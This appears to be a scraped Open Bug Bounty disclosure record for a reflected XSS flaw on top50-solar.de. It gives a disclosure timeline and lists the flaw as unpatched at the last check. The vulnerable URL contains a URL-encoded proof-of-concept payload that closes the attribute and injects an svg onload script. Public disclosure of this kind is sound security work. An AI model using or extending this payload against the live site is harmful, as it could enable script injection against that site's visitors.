Lucene search

K
openbugbountySecuNinjaOBB:281649
HistoryAug 23, 2017 - 7:17 p.m.

top50-solar.de XSS vulnerability

2017-08-2319:17:00
SecuNinja
www.openbugbounty.org
6
Vulnerable URL:
http://www.top50-solar.de/index.php?tx_top50directory_pi1%5Bdirectorysearch%5D=1&L;=0&id;=94&tx;_top50directory_pi1%5Btag%5D=&tx;_top50directory_pi1%5Bcompany%5D=%22%2F%3E%27%3E%22%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E&tx;_top50directory_pi1%5Bziporcity%5D=&tx;_top50directory_pi1%5Bcountrycode%5D=DCA
Details:
Description Value
Patched: No
Latest check for patch: 21.11.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 492033
VIP website status: No
Check top50-solar.de SSL connection: (Grade: A)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 23 August, 2017 19:17 GMT
Generic security notifications sent to website owner 23 August, 2017 19:20 GMT
Vulnerability details disclosed by researcher 21 November, 2017 20:20 GMT